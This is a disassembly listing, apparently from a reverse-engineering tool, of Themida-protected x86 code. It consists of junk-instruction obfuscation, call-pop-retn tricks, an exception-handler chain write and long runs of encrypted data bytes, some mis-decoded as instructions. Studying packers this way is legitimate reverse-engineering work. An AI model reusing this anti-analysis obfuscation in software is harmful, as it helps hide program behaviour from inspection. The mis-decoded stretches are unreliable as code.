push dword ptr [ebp+6132331h]
jge loc_60078A
mov ebx, [ebp+61309D9h]
loc_60078A: ; CODE XREF: Themida_:0060077Ej
mov edi, [ebp+613104Dh]
call dword ptr [ebp+6131D89h]
movsx ebx, si
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_600823
; ---------------------------------------------------------------------------
db 0C4h, 95h, 0A7h
dd 526115A1h, 2F7A24BAh, 31F130Ah, 3C58FF8h, 0B1C3801Eh
dd 0A4A79217h, 637F70C0h, 1247837Dh, 0C2FA0048h, 2319B0D9h
dd 41BEA01Eh, 9D328EF1h, 0E4FF84C8h, 1465FD33h
db 16h, 0Eh, 0DBh
; ---------------------------------------------------------------------------
loc_6007E3: ; CODE XREF: Themida_:0060076Cj
dec esp
cmp ah, [eax]
test al, 0A5h
cli
mov ch, 6Ah
insb
; ---------------------------------------------------------------------------
dd 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h, 0DE43F608h
dd 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh, 55C2DE3Eh
dd 63A3D62Dh, 3154EDC1h, 18663711h
db 43h, 98h, 0A8h
; ---------------------------------------------------------------------------
loc_600823: ; CODE XREF: Themida_:006007A3j
lea ecx, [ebp+61B4653h]
jmp loc_60083A
; ---------------------------------------------------------------------------
dw 0F49Ah
dd 0D7A3AA0Ah, 0CE4CCFFAh
db 0BFh, 56h
; ---------------------------------------------------------------------------
loc_60083A: ; CODE XREF: Themida_:00600829j
mov [ebp+6131BBDh], ecx
mov [ebp+6132425h], edx
mov dword ptr [ebp+61318DDh], 5D40h
push 0
push esi
call sub_60085B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60085B proc near ; CODE XREF: Themida_:00600853p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_60085B endp
; ---------------------------------------------------------------------------
db 0Ah
dd 0F0A6A83h, 148Ch, 0FE900h, 0E6B70000h, 0C64B31CEh, 0EE36C38Fh
dd 575B468Ch, 5585C7B4h, 61330h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1110C351h
dd 0A8132D00h, 1B5FFF9h, 6A061321h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 49D4C352h
dd 608FED0Ah, 0FDAF4CDEh, 24419D8Bh, 95FF0613h, 6131D89h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 76C35242h
dd 6F8DC103h, 0C9C20AFCh, 12398589h, 6A0613h, 0DA995FFh
dd 0C08B0613h, 7BB738EBh, 7F25A982h, 178BE8CEh, 4ABF12FCh
dd 0C04FBCBBh, 94207635h, 0C74650FDh, 0E46196Dh, 0B5BACD8Bh
dd 0B1B1752Ah, 0A0362D35h, 7CBD2366h, 0FB761E01h, 1F2A5721h
dd 8D8D7BD0h, 61B47A3h, 0B058523h, 8D890613h, 6131BBDh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9FC35545h
dd 48032F29h, 8B66BB6Bh, 5800FFAh, 0BA000000h, 6615AE6h
dd 18DD85C7h, 6E1C0613h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 858BE4C3h, 6132FA5h
dd 305585C7h, 613h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 800F5AC3h, 6, 5505CB81h
dd 0B5FF6203h, 6130B01h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 80C35747h, 0E24F8EC4h, 0B85EC4D0h, 560CF251h
dd 8E9h, 0BD47E400h, 7A356C38h, 8995FFF6h, 6A06131Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 9D3EC355h, 0CAFB617Ch, 0B71A89DDh, 29BD858Bh, 6A0613h
dd 0DA995FFh, 0C08B0613h, 8CF12EEBh, 0D6EFD0F3h, 2B33EAFDh
dd 94DE389Fh, 8D0BE5C3h, 6C85B121h, 66FBBDF0h, 95DC24C4h
dd 0FD22188Fh, 0EB24B15Eh, 1FE0EDD5h, 96CACA76h, 2DE9h
dd 858FDD00h, 6Ch, 9 dup(0)
dd 91E90000h, 0CA000005h, 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h
dd 0C7E9C987h, 0C9FCDA7Ah, 9CB80566h, 86CC1C3Eh, 9BAD0228h
dd 88C4153Bh, 0CF3E212Ah, 16B8FD53h, 0BD59051Ch, 7251E06Ch
dd 3187EB4Dh, 0A33491E3h, 1C7D9CADh, 213382D4h, 0C77AA582h
dd 0EAE455CFh, 0D71773E2h, 0BDE0109Dh, 22082533h, 2436BE90h
dd 3B1CBB91h, 9DD750CAh, 0ECF41910h, 4408597Dh, 7FF1D6F5h
dd 97158D52h, 85D5F7C1h, 0ABE778C9h, 7BD1640Eh, 66E2755Bh
dd 0EAE95E49h, 2B5CB627h, 0E025109Eh, 964F44BBh, 0B2F104Eh
dd 40C190B8h, 47015678h, 0CE84D4F6h, 460E5B7Fh, 0C981D3F7h
dd 0BE3B5778h, 0FA8F01D7h, 0E0F3624Dh, 258AC014h, 0BC04FBC6h
dd 0A303459Ah, 0D630A582h, 9F109DC5h, 0D164767Eh, 0CAEDEA7Bh
dd 9DC63F9Bh, 21850810h, 0D433BD91h, 109DC675h, 1F2E22B1h
dd 95A4AC3Bh, 1D2C20B1h, 0FF7C16FCh, 0E861F116h, 41FBF4C4h
dd 755CA3h, 0BD020000h, 2051E06Ch, 109DB4A4h, 76C78DDCh
dd 0FA4B0154h, 76C987D8h, 71967FFCh, 744468E1h, 16A341EAh
dd 96D78631h, 0FDF63412h, 0AF210323h, 118A0C1h, 1, 0E16DBD55h
dd 72DC6E50h, 50DFE3h, 9EC19E31h, 9DB4F36Fh, 8F59BC10h
dd 7CCE84F5h, 7BCEF4D2h, 0C392BC0Eh, 96F06542h, 5F109DB4h
dd 5E7F5F3Eh, 470B5981h, 6CE697F6h, 35109DB5h, 0BD4E08D0h
dd 0BB8F2170h, 0F211A5AAh, 0F31FEB07h, 6562F392h, 0D160EC3Dh
dd 942628B0h, 65E3ABBAh, 0D10423D4h, 109EA675h, 0C315DF3Eh
dd 32D51876h, 3C089237h, 0A5B7D5Dh, 0EED4F342h, 0B2982C59h
dd 320362A3h, 75C709D3h, 7E5D84D5h, 0CB22C61h, 1A7B109Eh
dd 192826B8h, 2596F0F8h, 41B029F7h, 79ECCBA3h, 109E071Dh
dd 61DA7E6h, 61h, 0E470BD5Ch, 6BDF7155h, 700989DAh, 0C1E173C2h
dd 0E46EBEE4h, 0AAAC3455h, 2B28391Bh, 3299B907h, 2D37F9D9h
dd 292BB5CFh, 0BEA7B69Ah, 0D795B754h, 7FA341FAh, 45h, 0E470BDE3h
dd 0B517655h, 65E9F998h, 83375B27h, 0C5F2151Ch, 101B77E6h
dd 0A1E4109Eh, 0A6A23517h, 0AD1EB497h, 0CEEC68F5h, 0E16DBD74h
dd 0B4A02150h, 7919109Dh, 0E5735700h, 3DFB636Dh, 0A5A341EAh
dd 1, 0DF6BBDB9h, 0FE86DA00h, 44C58B4Fh, 52E382A7h, 5E860075h
dd 0CE4F109Eh, 92BA0BAFh, 0EB7A42C3h, 67F656E7h, 0D88AFF71h
dd 0C7E8C684h, 6AFB53E3h, 0E879D768h, 0B400C8A9h, 0D5FAD9ADh
dd 1F2BE1D5h, 0F157EC90h, 0DA0B4890h, 168EB30Bh, 0C60859BCh
dd 0D7F9D973h, 0C6E9C686h, 8AB13B97h, 3781040Ah, 5B84ABA8h
dd 0AA20B571h, 0D68936F8h, 3859B46Dh, 0CF351B0h, 0A62C0A8Ah
dd 80CC5D15h, 0A648FC23h, 0FCB3E6D0h, 0D7FB35D7h, 0E6EE1DE4h
dd 63F3D7F8h, 0E6785AEBh, 0D9B8D968h, 5DEC68F5h, 0FA2B43Ch
dd 972A2C3Dh, 0A13416B5h, 0BCC221ABh, 0B405BD4Eh, 0D2A23A98h
dd 7A5AAD55h, 100h, 2BEA3E0h, 2729DBEBh, 0F654E812h, 26472667h
dd 3484A689h, 6CE4F1Eh, 8EC72287h, 4897BB16h, 0B9D83908h
dd 3913A6A8h, 0E093BC99h, 0F8B53C62h, 28B99B25h, 0A0311524h
dd 5BF59DACh, 0E5A134DEh, 0D34D7CB7h, 409EFF83h, 0A1A93B1Fh
dd 0B3F1BF17h, 42595AADh, 0FD000000h, 1670E5C2h, 0DF109DB5h
dd 0DD0A36BEh, 5BD706A5h, 646F624Ch, 65E11021h, 67909DB6h
dd 9BC49425h, 1995C8E7h, 92EF624Dh, 223321B0h, 0DCBD8B20h
dd 8FEB8DF7h, 26AE7534h, 4B6644C9h, 68h, 0C8BEA3E7h, 0A18F7AEBh
dd 1578168Eh, 9DAF0244h, 72EC213Eh, 3B0A8AA1h, 0E664F8DAh
dd 0B0AE3657h, 741AAB8Fh, 8AA08501h, 0AECF4E0Ah, 64767E9Fh
dd 9BEA7BD1h, 0A8AA038h, 32E05979h, 110DAD9Fh, 0DC11AED8h
dd 1073DE57h, 0FE401174h, 0BC90A1ABh, 0FAEFB952h, 39BE2F8Ch
dd 560A5897h, 91B69737h, 5D04E514h, 0E9737DDDh, 14FE0C2h
dd 20667BB7h, 0F3CD5283h, 0ABEA1686h, 6B9ABD9Ah, 0A826CEFh
dd 5F588FB8h, 3D958DACh, 0EF42945Ch, 0A5B7D5Dh, 0BF1C2C7Fh
dd 823FD44Eh, 19789D0Ah, 153B948h, 4C9B73E8h, 7DBB1746h
dd 1849FE3h, 0BDEAD160h, 65BD4BF4h, 3418A90Dh, 0C7DEF25h
dd 2FCC4619h, 4573283h, 0F594F544h, 7ED2F8D5h, 0D41C7DCCh
dd 4C1D2F82h, 61BD300Fh, 2A9FE370h, 7455C4EBh, 0C6A60CAFh
dd 0C58BDCFEh, 577B6074h, 117B4505h, 0D577CA78h, 0FB65D1F6h
dd 90E84EB3h, 95280A48h, 0AABA6B7h, 7000000h, 0FE4CE0C2h
dd 72A62E6Fh, 0E571BDB0h, 6DDF7254h, 0E365FADCh, 72E07052h
dd 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh
db 15h, 22h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 53D4E15h
add edx, 0FAC2B1EFh
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
push edx
mov edx, 541807BBh
add edx, 0B2034052h
push edx
sub dword ptr [esp], 161755ACh
pop ebx
add ebx, 161755ACh
pop edx
push 3AE1h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push eax
mov eax, 8
add eax, edi
push ebx
sub dword ptr [esp], 15804862h
pop dword ptr [eax]
add dword ptr [eax], 15804862h
pop eax
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0DCh
dd 0CFF2D273h, 936EA5D4h, 0D5379631h, 1B4CF8B8h, 0FFC50306h
dd 0D84943E0h, 0C8EFCD58h, 5362E26Eh, 2C49D616h, 23F10A67h
dd 13736456h, 647A23Bh, 8D3FE069h, 5623FA10h, 0A245A237h
dd 4479A672h, 0EFCFA443h, 0D974D11Ch, 560B077Eh, 0C957B3Ah
dd 8B78B215h, 62191651h, 98972C13h, 1A0E335Fh, 0D937C50Eh
dd 5CC7AF52h, 12BA5C60h, 2E498469h, 64D69356h, 11F5E74Eh
dd 88AA2453h, 88F4D170h, 348B8764h, 3F472906h, 0DD33271Ah
dd 4ADA9460h, 3CFBA52h, 0A28D8D44h, 8B061B4Eh, 13234D9Dh
dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 8DC3C356h, 0E906F149h
dd 7, 1A79134Ch, 0C702A887h, 1318DD85h, 701406h, 39950100h
dd 0C7061301h, 13305585h, 6, 91858B00h, 0FF06130Dh, 1331EDB5h
dd 1BA6606h, 8995FF95h, 2306131Dh, 1309E5BDh, 0FF006A06h
dd 130DA995h, 0EBC08B06h, 3C9D7E0Ch, 3E6C0B1Eh, 3E7C8A6h
dd 1EE9C0h, 0F4B00000h, 50A9h, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_6016B2
; ---------------------------------------------------------------------------
db 98h, 4Ah, 0Ch
dd 143A8CAEh, 0A4094B6h, 1B3586ACh, 0C4895BBh, 5BB07FAEh
dd 4268460Eh, 604260F2h, 7B5D7DCBh, 774462EAh, 2A92558h
dd 1F7216B9h, 70E5C243h, 109DB516h, 2436BEDFh, 0ADAABB91h
dd 0B4FF5B8Ah, 45C8109Dh, 0B49BF766h, 2164109Dh, 6928B597h
dd 0DDE273D7h, 0EBE08538h, 0E382E3E5h, 4CDDC3h, 0CDBC0D31h
dd 283D27Eh, 5EF0D263h, 61EFD3F0h, 972160F1h, 99B30648h
dd 1C3686C8h, 2ECB454Dh, 4A1B3184h, 5999AACBh, 0AD9F32E0h
dd 0B60A300Dh, 0AEA03294h, 64767E9Fh, 2A24B6CFh, 0A7A7371Bh
dd 77167796h, 6EE07258h, 2836BEDFh, 3C9BAD02h, 0F070EA1Bh
dd 0D439109Dh, 0DF352DEFh, 965E0C84h, 0ED65F3D7h, 0F157ECCEh
dd 2A6478E7h, 0FA4EE191h, 0E963F6DCh, 4A82958h, 0B121109Eh
dd 0BA24F418h, 678CA341h, 0B2000000h, 8B1D6CBDh, 71ED20BFh
dd 3A109DB5h, 5AABBADBh, 109DB4FEh, 0D2032473h, 109DB578h
dd 2F8F1641h, 2B0FAF75h, 7308824Ah, 416B8B49h, 133A3h
dd 0BD070000h, 0FC891E6Dh, 3554E56Bh, 0A706F54h, 783E5AA4h
dd 0B4064819h, 3887CB9Ah, 5C964918h, 0E8A333DFh, 2667F654h
dd 0F0416747h, 76249296h, 553405AAh, 70BDDB75h, 547655E4h
dd 9BFA4B01h, 9FAFFF51h, 173D8CCEh, 99AF0446h, 0D76549C8h
dd 0A624EA7Bh, 50BA2015h, 9ABA07BBh, 89C3163Ch, 84296B8h
dd 65D63039h, 41E86937h, 65D1A3h, 0BD650000h, 5BB72670h
dd 24109DB5h, 8DB180E1h, 0AD3E0F3Bh, 8F1ED465h, 76C3E5C5h
dd 0FC4B8FDEh, 2B443E91h, 0CD9EE5D1h, 2D3C5D3Ch, 0B31CA44h
dd 0A3416B5Dh, 6805h, 70BD5900h, 0A9E0C7E4h, 0C9F5BABh
dd 0F8A2FC71h, 2A6B109Dh, 0E0E2814Bh, 0FCDEFD4Bh, 6D5216Dh
dd 6F3F6F43h, 2427C60Eh, 0D8651DAEh, 0BD045E7Ch, 0E0C2E16Dh
dd 0D31004Eh, 44C594C0h, 0BD4C9B25h, 109DB55Ch, 13C435D5h
dd 0A3B2A22Fh, 0B4D531A4h, 7F9E109Dh, 0D24CC11Eh, 9B109DB4h
dd 2AEA727Ah, 92A341EAh, 1, 1C6BBDA8h, 52B382C8h, 93156D6Dh
dd 7F1EB1BCh, 24C6F1EEh, 3763E8D5h, 0DE6F616Bh, 8709DF6Eh
dd 5EEC40F2h, 5D294080h, 161E0F7Eh, 4ECF168Fh, 0FF8ADBFFh
dd 4FCE9FAFh, 17AA902Eh, 77D52435h, 0AF0A8B14h, 75DB6C1Fh
dd 75C4A5E4h, 3688FF51h, 0E3E87918h, 6A07ED0Dh, 6E207442h
dd 18C7E8DDh, 1988E72Fh, 428A4A44h, 2E7F33C8h, 0D45F3458h
dd 0D8B97319h, 0C785D8FAh, 88015476h, 0AA245935h, 730A8B22h
dd 0A3E27312h, 0FD8B73C2h, 0C983D68Ch, 53E6CCE9h, 0A967EFF9h
dd 115AAC84h, 10Ch, 0C8BEA325h, 0BC377AEBh, 4DD0168Eh
dd 0C587DAFCh, 0DA72C3E5h, 93F6478Bh, 0E1F44341h, 700F5A10h
dd 0A0C14011h, 0EA5FE991h, 7A7A538h, 0AD6BEDABh, 59555Ah
dd 0A3E90000h, 9DB503BCh, 14AEDFFCh, 1D6F624Ch, 4D6A69F8h
dd 9DB4BE18h, 0BE068790h, 9DB4D34Fh, 1E9BD590h, 56750D5Ah
dd 4E025179h, 31ADE0FFh, 0FA909DB5h, 93F2FA9Bh, 0EF624C17h
dd 1DEFD20h, 99C88CD9h, 109DB53Dh, 1F3D8706h, 65DC193Eh
dd 163CC83Ch, 7E93CEh, 0A32F0000h, 246C02BEh, 0C1C819A8h
dd 0B4EF68DAh, 5A3BC49Bh, 0BCFD087Dh, 0A7E6168Eh, 2B21B496h
dd 3814A58Bh, 0B4082A29h, 7E46C796h, 8ABB8C0Fh, 34C5CD0Ah
dd 81212B7Eh, 8D2A5C85h, 7400B258h, 9D2F1310h, 0CBEFCCADh
dd 5B0AD27Ah, 0B02A5B7Ch, 79046F6Bh, 378ACC14h, 0DE104415h
dd 4798BA6Dh, 0FD93809h, 0DB0ABEA3h, 46F6C7Fh, 7A4C548h
dd 58B230D6h, 86D9010Ah, 0CA1273C2h, 80DAF81Dh, 9502BEA3h
dd 0D1567331h, 9DBA1978h, 9DFFEE68h, 6598B710h, 109DFFE9h
dd 0AA3253B2h, 459238ADh, 92F31687h, 1E2E7FC3h, 5479AC0h
dd 0C5381734h, 0A82B149h, 9AE9F312h, 40141113h, 9E49C230h
dd 89262CBCh, 0D00FFA54h, 7A42C3B3h, 68470558h, 5761F342h
dd 46065779h, 5EF2D8F7h, 0B43C5DECh, 2E3F11A2h, 9443B83Ah
dd 0AA321CAEh, 973715A8h, 1D2C20B1h, 340h, 0E17B9E00h
dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh
dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh, 12836822h
dd 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89522414h, 4C281E2h
dd 81000000h, 4EAh, 24148700h, 243C895Ch, 2CF96857h, 815F100Ah
dd 0EEDE1EEFh, 8BFA8909h, 0C483243Ch, 3C8B5404h, 4C48324h
dd 22BF5752h, 310CF10Ah, 5F04247Ch, 8108478Fh, 0A220877h
dd 3C8B0CF1h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
dd 2434FF5Ch, 4C4835Ah, 0F82D7BE9h
db 0FFh, 7Ah
; ---------------------------------------------------------------------------
loc_6016B2: ; CODE XREF: Themida_:006011A0j
mov eax, 61B5353h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F0h
dd 0E72D15Eh, 8D0F8507h, 0E60B6C2Eh, 642F1326h, 0BE06264Fh
dd 3D58595Bh, 1717768Eh, 2E325DC7h, 0D55FB730h, 0B24619D6h
dd 0E039312Ah, 0EA50B1EFh, 38532633h, 435C938Fh, 784003A2h
dd 1D5FAA5Ah, 0B55741BCh, 0F3212AC5h, 2B3AC5CBh, 0DF6F9419h
dd 11283305h, 0F540FF67h, 0C77C5239h, 5229F33Fh, 0D0316A7Ch
dd 94077B3Fh, 6D1CFB3Dh, 0B8766418h, 6E5974D8h, 0EB08880Fh
dd 10h, 3 dup(0)
dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 3B01C352h, 1625BD83h, 75000613h
dd 81BD8309h, 6132Ch, 53501974h, 2DB8C08Bh, 89000004h
dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh
dd 17740006h, 2DB85350h, 89000004h, 130D7D85h, 6C9D8D06h
dd 0FF0615A6h, 0B585BD3h, 132129B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 836CBE85h
dd 606037E4h, 8A18589h, 81660613h, 61EA24D2h, 95BA6661h
dd 66C08BE5h, 66909EBAh, 8D8BD68Bh, 6131141h, 0AE9h, 0BE91E400h
dd 5B193840h, 83036680h, 840F00F9h, 7Ah, 8B64D38Bh, 2C3Dh
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 14E93C94h, 51000000h, 0E6E17FFEh, 5DA4A2C0h
dd 2F299FA2h, 0BB6B4803h, 0BAE3DBFh, 33840FFFh, 0F000000h
dd 3F8BF2BFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 43C35141h, 32E1DA65h, 0CA8153C0h, 57353B04h, 80AAF35Ah
dd 493583CEh, 6A535041h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 92BFC356h, 8B91E05Fh
dd 132329B5h, 0C6F08A06h, 1311E185h, 6A4706h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0EA8A67C3h
dd 0B6B3799Ah, 0BA66F92Dh, 958B34ECh, 6133139h, 4E8h, 0D6882C00h
dd 50F28BDCh, 50F18B60h, 0F616052h, 5ACA8B31h, 448B6158h
dd 8B0424h, 448936B2h, 0B2560424h, 6A585EE6h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0B41CC356h, 87E3F30Dh, 48A94F9Bh, 0FE8h, 0DA198900h
dd 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 17DB58Bh, 35E0613h
dd 132A15B5h, 0E9B5FF06h, 6A06131Eh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C98C355h
dd 5144239Fh, 0C8F83675h, 1ED19503h, 81660613h, 0F0022EEh
dd 68Fh, 9952B00h, 8D06131Ch, 167C3385h, 0BEE28106h, 0FF783707h
dd 699501D0h, 8906132Ch, 13226585h, 8D8D3106h, 0F061323h
dd 580h, 3904BE00h, 85C6406Ah, 61311E1h, 50006A53h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 2756662Dh, 238DB523h, 4E80613h, 0FC000000h, 0F88986Ah
dd 108Bh, 0BE900h, 94870000h, 0B373EB5Ah, 0A59B9510h, 12E8500Bh
dd 0A000000h, 0D153FDA9h, 598C97D4h, 8159D758h, 0DC514DE3h
dd 5A5E5730h, 424448Bh, 0F525050h, 5A585A31h, 5153008Bh
dd 8A0Fh, 5A5A0000h, 4244489h, 5E9h, 94BF1C00h, 6658A9B2h
dd 0B5FFD18Bh, 6131EE9h, 2C1D9533h, 958B0613h, 6131A7Dh
dd 7C33858Dh, 800F0616h, 0Ch, 6820Fh, 0D6810000h, 3E8A67Ah
dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0B529A1C3h, 61315CDh, 6890Fh, 958B0000h
dd 61325D1h, 3677858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 60F890C3h, 1C0D8529h
dd 66600613h, 9458E881h, 896161F5h, 130D0985h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 74D8878Ah, 6A206AA1h, 995FFFFh, 3506130Dh, 53504149h
dd 22C185C7h, 10613h, 85C70000h, 613240Dh, 0
; ---------------------------------------------------------------------------
mov [ebp+6131091h], ecx
clc
mov eax, [ebp+6131D51h]
jno $+6
mov large fs:0, eax
sub [ebp+6130179h], esi
cmp dword ptr [ebp+6131F95h], 0
jz loc_601BA3
mov dx, 9EC2h
mov eax, [ebp+6130E81h]
push 0
push eax
call sub_601B71
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_601B71 proc near ; CODE XREF: Themida_:00601B69p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_601B71 endp
; ---------------------------------------------------------------------------
db 6Fh, 0Bh, 8Fh
dd 0D638673Eh, 9607800h, 1301418Dh, 0C5BD2B06h, 61061322h
dd 8B66E08Bh, 80F681D7h
db 0E9h, 5Eh, 5Ch
; ---------------------------------------------------------------------------
loc_601BA3: ; CODE XREF: Themida_:00601B56j
cmp dword ptr [ebp+6131129h], 0
jnz loc_601FA0
push edx
pusha
mov esi, [ebp+6130A2Dh]
popa
pop esi
mov byte ptr [ebp+61311E1h], 56h
push edx
pop edx
push 69518EF2h
jnp loc_601BD0
mov edx, eax
loc_601BD0: ; CODE XREF: Themida_:00601BC8j
add dword ptr [esp], 4073A1EDh
sub edx, [ebp+6132085h]
push dword ptr [ebp+6131EE9h]
loc_601BE3: ; CODE XREF: Themida_:00601C59j
add esi, [ebp+6130DA5h]
pusha
mov bx, dx
mov ecx, [ebp+6131AD5h]
popa
lea eax, [ebp+6167C33h]
mov [ebp+613216Dh], esi
call eax
mov esi, [ebp+6132CCDh]
push eax
mov dh, ch
mov [esp], eax
call near ptr loc_601C1E+2
adc [eax-64BD15FEh], edi
mov eax, 0C96B469Ch
loc_601C1E: ; CODE XREF: Themida_:00601C0Ep
and [ecx+0Fh], ah
mov edi, 8D8D5EF3h
cmp [edx], ebx
adc eax, [esi]
push 0
push ebx
call sub_601C35
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_601C35 proc near ; CODE XREF: Themida_:00601C2Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_601C35 endp
; ---------------------------------------------------------------------------
aam 0E4h
mov dh, 18h
mov bl, 27h
dec esi
jmp loc_601C63
; ---------------------------------------------------------------------------
db 17h, 5Eh, 2Bh
; ---------------------------------------------------------------------------
pop eax
sub edx, esp
sbb dl, dl
jnb short loc_601BE3
xchg eax, ebx
stosd
dec ebp
test eax, 77CDBDEh
loc_601C63: ; CODE XREF: Themida_:00601C4Cj
jp loc_601C6C
movsx esi, bx
loc_601C6C: ; CODE XREF: Themida_:loc_601C63j
xchg eax, ecx
mov dl, 50h
push eax
jno loc_601C7B
mov edx, 7B932822h
loc_601C7B: ; CODE XREF: Themida_:00601C70j
xchg eax, ecx
push 0
push esi
call sub_601C87
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_601C87 proc near ; CODE XREF: Themida_:00601C7Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_601C87 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 13019D89h, 46A0613h, 0F60F28Bh, 68Ch, 119D8B00h, 61061315h
dd 4E8h, 100000h, 8E800h, 0A8C90000h, 730F2D04h, 52501417h
dd 6160310Fh, 505E585Ah, 1372FFBEh, 24448B3Ch, 0F78B6604h
dd 11E8008Bh, 0E9000000h, 0F8A6EE70h, 5965FD8h, 9F8AEA9Ah
dd 4F37C041h, 0E8F98B60h, 13h, 9D92654Bh, 6290A168h, 1DE411ECh
dd 20060809h, 5E3C9784h, 44895E61h, 8C0F0424h, 5, 0D21CECBAh
dd 85895857h, 61325F9h, 0DE9h, 0B2687800h, 94FFF415h, 63A8272h
dd 0B5FFEDC2h, 6130BB9h, 34899589h, 0D0FF0613h, 4EEE8166h
dd 0B9BD8B75h, 6606130Bh, 0B14FCA81h, 0BE3C7F03h, 1375003h
dd 0F8C781h, 0B5890000h, 6130E31h, 202447C7h, 8B600000h
dd 131AEDB5h, 6BBD8306h, 61B54h, 15E840Fh, 8F0F0000h, 2
dd 0C783D78Bh, 0B1B58928h, 0C706132Eh, 696A2E07h, 56006A64h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0CFEECB62h, 0C7FC06F0h, 74610447h, 85890061h, 61323EDh
dd 5473858Bh, 41B6061Bh, 6A0C4789h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 69CC357h
dd 3A71F74Ch, 59958B13h, 6606130Fh, 858BF78Bh, 61B5477h
dd 58E0Fh, 66520000h, 895AF78Bh, 958B0847h, 61315F5h, 2BC19531h
dd 0C7830613h, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 66D60104h, 8E9D08Bh, 3F000000h
dd 0EAEF3437h, 0C7490A8Dh, 6F632E07h, 8985016Eh, 0C7061301h
dd 69660447h, 6A0067h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 57F6B4C3h, 0E5A860A9h, 6F858B82h
dd 0B6061B54h, 0C47892Dh, 8BF6B70Fh, 1B546B85h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 84DEA8B3h, 4789B845h, 53006A08h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 557B222h, 0A0A5EE41h
dd 20FABA58h, 0B5893F13h, 6130EEDh, 9E18D8Dh, 870F0613h
dd 0
dd 50D18A91h, 5E8h, 2B2CF00h, 8B517F2Ch, 915A5AD3h, 0D419523h
dd 0B5FF0613h, 6131A39h, 24559589h, 4E80613h, 0
dd 0E9000010h, 8, 0B1329A3Dh, 0AC4E48F0h, 66536050h, 5B18B7B9h
dd 5B73BF66h, 24448B61h, 0F78B6604h, 0B8BE008Bh, 891EA6D1h
dd 60042444h, 9CBF6653h, 5E85B8Ah, 57000000h, 0FA16E893h
